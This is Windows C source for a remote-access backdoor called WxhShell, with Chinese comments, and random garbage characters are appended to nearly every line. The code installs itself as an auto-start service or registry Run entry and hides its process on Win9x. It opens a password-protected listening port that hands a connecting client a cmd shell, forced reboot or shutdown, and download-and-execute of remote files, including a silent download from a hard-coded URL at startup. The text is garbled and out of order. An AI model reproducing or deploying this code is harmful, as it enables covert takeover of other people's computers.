  case 'd': { WPmH4L>T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8T7E.guYr  
    if(Boot(SHUTDOWN)) (|<e4HfZL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|wD2iw  
    else { xpWx6  
    closesocket(wsh); sO,%Ok1  
    ExitThread(0); ETw7/S${  
    } s[ ze8:  
    break; hmRnr=2N  
    } /A8ua=Kn  
  // 获取shell ^u? #fLr  
  case 's': { #mI{D\UR  
    CmdShell(wsh); OT*C7=  
    closesocket(wsh); 2qw-:  
    ExitThread(0); b) k\?'j  
    break; </UUvMf"  
  } -|ho 8alF  
  // 退出 >tUi ;!cQ  
  case 'x': { .^aakM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?s=O6D&   
    CloseIt(wsh);  I~'%  
    break; x)Y?kVw21"  
    } -YXNB[C  
  // 离开 @H{QHi  
  case 'q': { 6zo'w Wc3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fgiOYvIS2m  
    closesocket(wsh); Tz\ PQ)!  
    WSACleanup(); a'T8U1  
    exit(1); wLF;nzv  
    break; 7$;#-l  
        } n{d0}N =  
  } HHT_}_?  
  } 'qL:7  
UZ5O%SF  
  // 提示信息 ;Av=/hU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dl a }-A:  
} (E{>L).~  
  } -6Y@_N  
YUzx,Y>k  
  return; ''bh{ .x  
} y:Wq;xEiDo  
-YDA,.Ic?  
// shell模块句柄 fH-fEMyW  
int CmdShell(SOCKET sock) $?_/`S13  
{ R[C+?qux  
STARTUPINFO si; zBQV2.@  
ZeroMemory(&si,sizeof(si)); 'YKzs;y$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /C[Q?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x7<2K(  
PROCESS_INFORMATION ProcessInfo; KKBrw+)AJ  
char cmdline[]="cmd"; sf([8YUd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &$$o=Yg,  
  return 0; i;flK*HOZ9  
} IP LKOT~  
%Z8' h\|  
// 自身启动模式 H*m3i;"4p\  
int StartFromService(void) x%v[(*F#y  
{ %O69A$Q[m  
typedef struct *:5S*E&}V  
{ URd0|?t9^L  
  DWORD ExitStatus; _%@dlT?  
  DWORD PebBaseAddress; D-/q-=zd  
  DWORD AffinityMask; !K8Kw W|X  
  DWORD BasePriority; ]c9\[Kdq}H  
  ULONG UniqueProcessId; F@tfbDO?  
  ULONG InheritedFromUniqueProcessId; )+ V)]dS@%  
}   PROCESS_BASIC_INFORMATION; d-sT+4o}  
>\7M f@c  
PROCNTQSIP NtQueryInformationProcess; dwpE(G y6c  
`f[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [.(,v n?6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kl~)<,/@  
nO+-o;DbC  
  HANDLE             hProcess; 57K\sT4[  
  PROCESS_BASIC_INFORMATION pbi; b9xvLR8  
8.!+Hm4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +SB>>  
  if(NULL == hInst ) return 0; yPd6{% w  
h6Q~Di  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +n%d,Pz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4 Aj<k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `53S[8  
d=p=eUd2  
  if (!NtQueryInformationProcess) return 0; Ox5Es  
EzeU-!|W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4J1_rMfh  
  if(!hProcess) return 0; lu?:1V-  
I/*^s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LVNA`|>  
Xw#"?B(M]  
  CloseHandle(hProcess); @__m>8wn  
wVq9t|V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &qzy?/i8  
if(hProcess==NULL) return 0; %a?\y_a=b  
A"O\u=!  
HMODULE hMod; =fy\W=c  
char procName[255]; MtVvi6T  
unsigned long cbNeeded; Hz"FGwd  
KO\-|#3y>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PfsUe,*  
(;;.[4,y  
  CloseHandle(hProcess); m5o$Dus+?'  
 0R,.  
if(strstr(procName,"services")) return 1; // 以服务启动 Hr7?#ZX;e  
MH|F<$42  
  return 0; // 注册表启动 O#k eoC4  
} XtQwLH+F  
lbX YWZ~7  
// 主模块 Qo!F?i/ n  
int StartWxhshell(LPSTR lpCmdLine) njZJp|y6  
{ }H<Z`3_U%  
  SOCKET wsl; ))dw[Xa  
BOOL val=TRUE; 'd|!Hr<2  
  int port=0; dC;&X g`  
  struct sockaddr_in door; qW4DW4  
DK?Z   
  if(wscfg.ws_autoins) Install(); /1p5KVTKv  
D@O5Gd  
port=atoi(lpCmdLine); &8pGq./lr=  
t Davp:M1v  
if(port<=0) port=wscfg.ws_port; %gQUog  
>9mj/P D  
  WSADATA data; &Z3%UOY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;B;@MD,B  
+V(^ "Z~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   omGzyuPF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5JEOLPS  
  door.sin_family = AF_INET; j{'_sI{{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c|(J%@B)  
  door.sin_port = htons(port); cIQbu#[@  
Uf|uFGb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i=*H|)  
closesocket(wsl); 4JU 2x  
return 1; Zoc4@% n  
} U?d  I  
)-o jm$  
  if(listen(wsl,2) == INVALID_SOCKET) { tcnO`0moK  
closesocket(wsl); B=;kC#Emtf  
return 1; kI9I{ &J&  
} Dn@ZS_f  
  Wxhshell(wsl); 0e+#{k  
  WSACleanup(); /t`,7y 3T  
,Jh#$mil  
return 0; 3[y$$qXI  
4`)r1D!U  
} pW@W-k:u  
mj?Gc  
// 以NT服务方式启动 M]p-<R\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kW2DKr-[  
{ P9qIq]M  
DWORD   status = 0; c_S~{a44Ud  
  DWORD   specificError = 0xfffffff; N&p0Emg  
{Q37a=;,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _k26(rdI@-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1<1+nGO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {J izCUo_'  
  serviceStatus.dwWin32ExitCode     = 0; Y2XxfZ j  
  serviceStatus.dwServiceSpecificExitCode = 0; eUZk|be  
  serviceStatus.dwCheckPoint       = 0; bEj}J_#  
  serviceStatus.dwWaitHint       = 0; De^:9<{jc  
vG'#5%,|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q.$Rhjb  
  if (hServiceStatusHandle==0) return; 1P[x.t#  
Z#Kf%x.  
status = GetLastError(); ,pI9=e@O/z  
  if (status!=NO_ERROR) ]vB\yQE  
{ xSd&xwP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d,^ZH  
    serviceStatus.dwCheckPoint       = 0; 7@>/O)>(AS  
    serviceStatus.dwWaitHint       = 0; " (O3B  
    serviceStatus.dwWin32ExitCode     = status; _qf39fM;\  
    serviceStatus.dwServiceSpecificExitCode = specificError; \Z3K ~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (m,H 5  
    return; hXth\e\[{`  
  } iLZY6?_^  
j\IdB:}j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5]LWWjT  
  serviceStatus.dwCheckPoint       = 0; yD7}  
  serviceStatus.dwWaitHint       = 0; K&%CeUa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s$>n U  
} :K]7(y7>  
jhf3(hx&F  
// 处理NT服务事件,比如:启动、停止 GnW MI1$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ceE]^X;p  
{ g ass Od  
switch(fdwControl) lP`BKc,  
{ ]/1\.<uJId  
case SERVICE_CONTROL_STOP: `8W HVC$  
  serviceStatus.dwWin32ExitCode = 0; KH;~VR8"/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2=Naq Ht(  
  serviceStatus.dwCheckPoint   = 0; ;\2Z?Kq  
  serviceStatus.dwWaitHint     = 0; *PnO$q@`  
  { QcQ%A%VIV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A_oZSUrR  
  } /9G72AD!  
  return;  SW#/;|m  
case SERVICE_CONTROL_PAUSE: A)sYde(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kaekH*m~  
  break; g) oOravV  
case SERVICE_CONTROL_CONTINUE: 9m$;C'}Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v>} +->f  
  break; X%5eZ"1{x  
case SERVICE_CONTROL_INTERROGATE: vlbZ5  
  break; %|(c?`2|  
}; +_i{4Iz~p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W*{ 1W  
} {s0%XG1$  
Om0$6O  
// 标准应用程序主函数 @Uez2?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TSP%5v;Dh  
{ 11yXI[  
NAvR^"I~  
// 获取操作系统版本 jn V=giBu  
OsIsNt=GetOsVer(); ):! =XhQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~Xxmj!nOf  
4$&l`yWU+  
  // 从命令行安装 g;63$_<  
  if(strpbrk(lpCmdLine,"iI")) Install(); H/O.h@E4X  
f"5O'QHGQK  
  // 下载执行文件 eTS}-  
if(wscfg.ws_downexe) { [#Y L_*p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pd'0|  
  WinExec(wscfg.ws_filenam,SW_HIDE); yv[j Pbe  
} Q[j| 2U  
"17)`Yf  
if(!OsIsNt) { :jl*Y-mM  
// 如果时win9x,隐藏进程并且设置为注册表启动 ={:a N)  
HideProc(); 1XSnnkJm  
StartWxhshell(lpCmdLine); BkB>eE1)Ea  
} '9V/w[mI  
else 'K,\  
  if(StartFromService()) @N>7+ 4  
  // 以服务方式启动 2^WJ1: A  
  StartServiceCtrlDispatcher(DispatchTable); X,|8Wpi=  
else [MTd<@  
  // 普通方式启动 E JkHPn  
  StartWxhshell(lpCmdLine); &F&`y  
Q Q3<)i  
return 0; Y_'ERqQ  
} *DF3juf~  
b&z#ZY  
\Z]+j@9  
;l@94)@0  
=========================================== ]nTeTW  
@YI{E*?S  
Pp8S\%z~h  
P$'PB*5d|  
-w+.'  
7sVM[lr<  
" ^E%R5JN  
zFOtOz`9H  
#include <stdio.h> 'e:4  
#include <string.h> GUL~k@:_k  
#include <windows.h> 2IJniS=[>  
#include <winsock2.h> Ry[7PLn]  
#include <winsvc.h> 2dz)rjd O,  
#include <urlmon.h> oDS7do  
`n,RC2yo  
#pragma comment (lib, "Ws2_32.lib") P)VQAM  
#pragma comment (lib, "urlmon.lib") /yU#UZ4;  
)EMlGM'2q  
#define MAX_USER   100 // 最大客户端连接数 n\9IRuYO  
#define BUF_SOCK   200 // sock buffer (6c/)MH  
#define KEY_BUFF   255 // 输入 buffer W,8Uu1X =  
N-N]BS6  
#define REBOOT     0   // 重启 sssw(F  
#define SHUTDOWN   1   // 关机 XK~HfA?  
gwNZ`_Q  
#define DEF_PORT   5000 // 监听端口 ,'C*?mms  
;(mNjxA  
#define REG_LEN     16   // 注册表键长度 uznqq}  
#define SVC_LEN     80   // NT服务名长度 t=lDN'\P  
GX23c i  
// 从dll定义API lOA EM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CeU=A9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jNbVp{%/S}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WBKf)A^S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !,$K;L  
L=54uCv Q  
// wxhshell配置信息 )Q9Qo)D T  
struct WSCFG { it{Jd\/hR  
  int ws_port;         // 监听端口 T5`ML'Dej  
  char ws_passstr[REG_LEN]; // 口令 &qY]W=9uK  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7.2G}O6$  
  char ws_regname[REG_LEN]; // 注册表键名 FzOWM7+\  
  char ws_svcname[REG_LEN]; // 服务名 w\[l4|g `  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I[rR-4.F]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iWWtL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &g}P)x r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z-3.%P2g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >/RFff]Fh0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *Mg@j;+5s  
IjOBY  
}; d<Lc&wlP  
F6J]T6 Y  
// default Wxhshell configuration Slo^tqbG  
struct WSCFG wscfg={DEF_PORT, }>y !I5O  
    "xuhuanlingzhe", XXm7rn  
    1, M_+W5Gz<  
    "Wxhshell", Px-VRANZt  
    "Wxhshell", ,_$J-F?  
            "WxhShell Service", AJ}m2EH  
    "Wrsky Windows CmdShell Service", #|+4`Gf^  
    "Please Input Your Password: ", W=g'Xu!|!2  
  1, PI$i_3N  
  "http://www.wrsky.com/wxhshell.exe", A|K=>7n]U  
  "Wxhshell.exe" 6.tA$#6HP  
    }; oM>UIDCY_v  
Nk7=[y#z  
// 消息定义模块 bLWY Tj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,%A|:T]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ->OVNmCB`+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uDJ;GD[yc  
char *msg_ws_ext="\n\rExit."; E,ilJl\  
char *msg_ws_end="\n\rQuit."; *otgI"y\  
char *msg_ws_boot="\n\rReboot..."; %H{;wVjK  
char *msg_ws_poff="\n\rShutdown..."; K@:omT  
char *msg_ws_down="\n\rSave to "; &:ZR% f  
g - !  
char *msg_ws_err="\n\rErr!"; [%yj' )R/  
char *msg_ws_ok="\n\rOK!"; x R$T/]/  
AB3OG*C9  
char ExeFile[MAX_PATH]; ~}{_/8'5  
int nUser = 0; SAitufS  
HANDLE handles[MAX_USER]; C6F7,v62  
int OsIsNt; ~s-gnp  
*pD|N  
SERVICE_STATUS       serviceStatus; &RbP N^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cR!M{U.q  
OXp N8Dh5  
// 函数声明 nC[aEZ7  
int Install(void); WC=d @d)M  
int Uninstall(void); QL7.QG  
int DownloadFile(char *sURL, SOCKET wsh); 04}8x[t  
int Boot(int flag); \p.yR.  
void HideProc(void); WK?5`|1l:x  
int GetOsVer(void); zjow %  
int Wxhshell(SOCKET wsl); zx$1.IM"4  
void TalkWithClient(void *cs); {9{X\|  
int CmdShell(SOCKET sock); dR_6j}  
int StartFromService(void); 4 X/UyBk  
int StartWxhshell(LPSTR lpCmdLine); 5_](N$$  
=NY55t.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %,~\,+NP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); __7}4mA  
_x""-X~OL  
// 数据结构和表定义 mj9sX^$ dE  
SERVICE_TABLE_ENTRY DispatchTable[] = KIv_ AMr  
{ Ye$j43b  
{wscfg.ws_svcname, NTServiceMain}, i\^4EQ  
{NULL, NULL}  7 FY2a  
}; +XO\#$o>W  
z k}AGw  
// 自我安装 :] U\{;q2  
int Install(void) |kvH`&s  
{ Nc4;2~XwRp  
  char svExeFile[MAX_PATH]; ffR%@  
  HKEY key; d8agM/F*/  
  strcpy(svExeFile,ExeFile); /RqWrpzx@  
flC%<V%'-  
// 如果是win9x系统,修改注册表设为自启动 *{+{h;p  
if(!OsIsNt) { `#l3a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BK=w'1U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ILAn2W  
  RegCloseKey(key); MIr+4L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~AYleM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w$9LcN  
  RegCloseKey(key); 4c(Em+ 4  
  return 0; `vOL3`P  
    } g;p} -=  
  } 7p2xst  
} v ;}s`P\"  
else { jMTM:~0N  
, p~1fB-/  
// 如果是NT以上系统,安装为系统服务 .S-)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K6-M.I  
if (schSCManager!=0) :zKMw=  
{ njX$?V   
  SC_HANDLE schService = CreateService U7 D!w$4  
  ( xR3$sA2  
  schSCManager, "EMW'>&m  
  wscfg.ws_svcname, 1VM2CgRa  
  wscfg.ws_svcdisp, YVDFcN9v  
  SERVICE_ALL_ACCESS, ]r|oNGD)G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jmk Ou5@  
  SERVICE_AUTO_START, /o m++DxV  
  SERVICE_ERROR_NORMAL, S$Zi{bU`G  
  svExeFile, =8?Kn@nMN  
  NULL, / }$n_N\!)  
  NULL, c'eZ-\d{  
  NULL, R'tKJ_VI  
  NULL, .nrllVG%`  
  NULL eyyME c!  
  ); ^r&)@R$V  
  if (schService!=0) w(6n  
  { {JP q. A  
  CloseServiceHandle(schService); `nl n@ ;  
  CloseServiceHandle(schSCManager); P Y^#hC5:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -<6?ISF2  
  strcat(svExeFile,wscfg.ws_svcname); BtC*]WB"_'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .N qXdari  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <ErX<(0`ig  
  RegCloseKey(key); rtj`FH??11  
  return 0; V|_ h[hXE  
    } VWE>w|'  
  } 1Hr}n6s  
  CloseServiceHandle(schSCManager); ]A3  
} rKrHd  
} "ntP928  
VIT|#  
return 1; cQK-Euum  
} AzOs/q8O  
x)~i`$  
// 自我卸载 hL&$` Q  
int Uninstall(void) jb.H[n,\  
{ g |>LT_  
  HKEY key; 5.9<g>C  
2jFuF71  
if(!OsIsNt) { e|\xF V=4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { __g k:a>oQ  
  RegDeleteValue(key,wscfg.ws_regname); p%3z*2,(  
  RegCloseKey(key); \l~^dn}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ef7{D P  
  RegDeleteValue(key,wscfg.ws_regname); R c+olJ^5  
  RegCloseKey(key); aTuu",f  
  return 0; mn/)_1',  
  } K*>%,mP$i  
} <&3P\aM>  
} o.{W_k/n  
else { 0<uek  
S(zp_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m2j&0z  
if (schSCManager!=0) {o}U"b<+Ra  
{ m4mE7Wn.3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d y HC8  
  if (schService!=0) 9n& &`r  
  { +OE!Uqnt  
  if(DeleteService(schService)!=0) { C^J<qq &  
  CloseServiceHandle(schService); tVAi0`DV  
  CloseServiceHandle(schSCManager); SVe]2ONd  
  return 0; V?uT5.B2  
  } vI{aF- #  
  CloseServiceHandle(schService); ?QOU9"@+B  
  } 6 c_#"4  
  CloseServiceHandle(schSCManager); 3uLG$`N   
} &k:xr,N=  
} kxMvOB$  
7Sx|n}a-3  
return 1; @Rr=uf G  
} F]ao Ty  
jn<?,UABD  
// 从指定url下载文件 I/O3OD  
int DownloadFile(char *sURL, SOCKET wsh) [,o:nry'a  
{ Q{l,4P  
  HRESULT hr; l0qaTpn  
char seps[]= "/"; n{tc{LII/  
char *token; ^A$=6=CX  
char *file; !eW1d0n'+f  
char myURL[MAX_PATH]; K./qu^+k  
char myFILE[MAX_PATH]; yw^Pok5.  
]auvtm- [  
strcpy(myURL,sURL); Cj-s  
  token=strtok(myURL,seps); p='j/=  
  while(token!=NULL) c1#0o) q*7  
  { m5K?oV@n  
    file=token; d?zSwLsl  
  token=strtok(NULL,seps); J p'^!  
  } 8A>OQR  
;wn9 21r  
GetCurrentDirectory(MAX_PATH,myFILE); 1d5%(:@  
strcat(myFILE, "\\"); 2"IV  
strcat(myFILE, file); bb6x} jR  
  send(wsh,myFILE,strlen(myFILE),0); 2bt>t[0ad  
send(wsh,"...",3,0); )w7vE\n3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w!F>fcm  
  if(hr==S_OK) 6/UOz V,[  
return 0; ;UQGi}?CD  
else tFmB`*!%  
return 1; 'S`l[L:.8  
c]6b|mHT  
} 5YY5t^T  
x~e._k=  
// 系统电源模块 )+_Vx}O:}  
int Boot(int flag) ] K$YtM^  
{ gIB3DuUo  
  HANDLE hToken; 67j kU!  
  TOKEN_PRIVILEGES tkp; IiPX`V>RC  
Q]WBH_j  
  if(OsIsNt) { @6;OF5VsQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \c_g9Iqa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [JOa^U=  
    tkp.PrivilegeCount = 1; fn}E1w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R{g= N%O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mskG2mA  
if(flag==REBOOT) { WVP?Ie8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0L}`fYf  
  return 0; "wcaJ;Os  
} 5CI {&E  
else { &~:EmLgv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,6^<Vg  
  return 0; @Jd&[T27Lr  
} l2F#^=tp  
  } *zdD4 I=  
  else { u?,>yf.;s  
if(flag==REBOOT) { #}7T$Va  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MCE@EFD`\  
  return 0; 72nZ`u  
} +hRy{Ps/  
else { EyK!'9~a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d"|_NG`vr  
  return 0; E@ea ?Sx  
} ZF>:m>  
} Wl| i$L)7  
m` 1dB%;?  
return 1; A7L;ims7  
} 7$*E0  
mV}bQ^*?Z  
// win9x进程隐藏模块 Xt$qjtVM  
void HideProc(void) A@?0(  
{ WJ8i=MO67  
u!X~!h-6~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { j_-iF  
  if ( hKernel != NULL ) tl dK@!E3  
  { DuC#tDP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ip?]&5s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [{Wo:c9Qq1  
    FreeLibrary(hKernel); Bz'.7" ":0  
  } k]ZE j/y~  
^\PRz Y  
return; kn:hxdZ  
} b%l H=u  
.>W [  
// 获取操作系统版本 1uw1(iL+  
int GetOsVer(void) eg;r38   
{ Q0xGd(\  
  OSVERSIONINFO winfo; q 4Pv\YO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bw;isMx7  
  GetVersionEx(&winfo); )j2 #5`?"j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k[*9b:~  
  return 1; 6aB]&WO1@  
  else QPm[4Fd{G  
  return 0; QtfL'su:  
} .6MG#N  
*Xnf}Ozx  
// 客户端句柄模块 qt9jZtx  
int Wxhshell(SOCKET wsl) +E. D:  
{ |ru!C(  
  SOCKET wsh; |kZ!-?9Z  
  struct sockaddr_in client; ]#NfH-T  
  DWORD myID; _N;@jq\q  
#pZeGI|'J  
  while(nUser<MAX_USER) +788aK,{#  
{ G+#bO5  
  int nSize=sizeof(client); z#G\D5yX[*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OGcdv{ ,P  
  if(wsh==INVALID_SOCKET) return 1; E 14DZ  
G9Xkim Q'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MR|A_e^x  
if(handles[nUser]==0) y9mV6.r  
  closesocket(wsh); <k[_AlCmsg  
else yl?LXc[)  
  nUser++; z:S:[X 0  
  } $cn8]*Z =  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { 1~]}K2  
F3V:B.C  
  return 0; DI)"F OM6  
} l`~$cK!  
gGE{r}$  
// 关闭 socket bq5ySy{8  
void CloseIt(SOCKET wsh) i-w<5pGnf  
{ )'jGf;du  
closesocket(wsh); ]*]*O|w  
nUser--; m\*ca3$  
ExitThread(0); pS-o*!\C.  
} 47Vt8oyh%  
d_(;sW"I  
// 客户端请求句柄 =oXlJ[)h  
void TalkWithClient(void *cs) t ^>07#z  
{ `6-flc0r  
o[wiQ9Tl  
  SOCKET wsh=(SOCKET)cs; xN$V(ZX4  
  char pwd[SVC_LEN]; c\[&IlM  
  char cmd[KEY_BUFF]; )+v5 H  
char chr[1]; xK0;saG#  
int i,j; 6Jy%4]wK  
Xgh%2 ;:  
  while (nUser < MAX_USER) { jCj8XM{c>  
b i-Am/9  
if(wscfg.ws_passstr) { E_ 30)"]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D]d! lMK/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (=rDt93J  
  //ZeroMemory(pwd,KEY_BUFF); U(+QrC:  
      i=0; +?t& 7={~  
  while(i<SVC_LEN) { -mO<(wfV>  
~eTp( XG  
  // 设置超时 G~_eBy  
  fd_set FdRead; ZH=Bm^  
  struct timeval TimeOut; |CQjgI|;  
  FD_ZERO(&FdRead); k^JgCC+  
  FD_SET(wsh,&FdRead); rx]Q,;"  
  TimeOut.tv_sec=8; XmO]^ `  
  TimeOut.tv_usec=0; _eQ-'")  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #WUN=u   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]ml'd  
?st}rJ_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9JMf T]  
  pwd=chr[0]; |VE.khq#  
  if(chr[0]==0xd || chr[0]==0xa) { `nII@ !  
  pwd=0; \Rt>U|%  
  break; kVeY} 8  
  } 8% ; .H-  
  i++; x5#Kk.  
    } -'oxenu  
_MQh<,Z8  
  // 如果是非法用户,关闭 socket g C8 deC8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w4^ $@GtN  
} Pr1OQbg]8  
BD.l5 ~:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f/kYm\Zc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #RdcSrw)W!  
:1UOT'_  
while(1) { v-F|#4Q=ut  
lS2 `#l>  
  ZeroMemory(cmd,KEY_BUFF); +U1fa9NSn  
bLg gh]Fh  
      // 自动支持客户端 telnet标准   O#^qd0e'P!  
  j=0; zEE:C|50  
  while(j<KEY_BUFF) { +Z9ua%,3%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tOj5b 7'ui  
  cmd[j]=chr[0]; ;]BNc"  
  if(chr[0]==0xa || chr[0]==0xd) { NP.qh1{NP  
  cmd[j]=0; C-Y7n5  
  break; ldKLTO*&  
  } tuo'Uk)  
  j++; DfOig LG*  
    } 527u d^:  
vMXn#eR  
  // 下载文件 >G0ihhVt  
  if(strstr(cmd,"http://")) { M;z )c|Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o}D7 $6  
  if(DownloadFile(cmd,wsh)) U|+`Eth8(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .?F`H[^)^u  
  else "LZv\c~v,%  
